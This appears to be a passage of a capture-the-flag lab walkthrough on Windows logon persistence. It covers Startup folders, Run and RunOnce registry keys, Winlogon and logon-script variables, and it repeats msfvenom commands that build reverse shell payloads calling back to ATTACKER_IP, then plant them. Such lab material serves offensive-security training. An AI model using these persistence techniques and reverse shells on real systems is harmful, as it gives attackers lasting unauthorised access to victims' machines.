Let’s plant payloads that will get executed when a user logs into the system.
Each user will have a folder for them:
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Also: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Any executables put there will be ran when logging in.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

flag10.exe
Force user to execute a program on logon via registry - no need to place payloads in specific locations. - HKCU\Software\Microsoft\Windows\CurrentVersion\Run - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce - HKLM\Software\Microsoft\Windows\CurrentVersion\Run - HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU - Only apply to current user HKLM - will apply to everyone
Run - run everytime the user logs in RunOnce - will execute only once
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe
move revshell.exe C:\Windows

flag11.exe
Winlogon is a windows component that loads user profile right after authN. It uses registry keys under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit points to userinit.exe - restores user profile preferences - shell points to system’s shell usually explorer.exe Note: Don’t change or replace any executables here, it will break the logon sequence.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe


flag12.exe
userinit.exe loads user profile to check for an environment variable UserInitMprLogonScript We will use this variable to assign a logon script to a user that will run when user logs in
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe
Move the scipt to location:
move revshell.exe C:\Windows
Make the changes like below

Start the listener on the attack machine and sign out the user so that the user logs in and payload initialises and you get reverse shell.
Get the flag13.exe
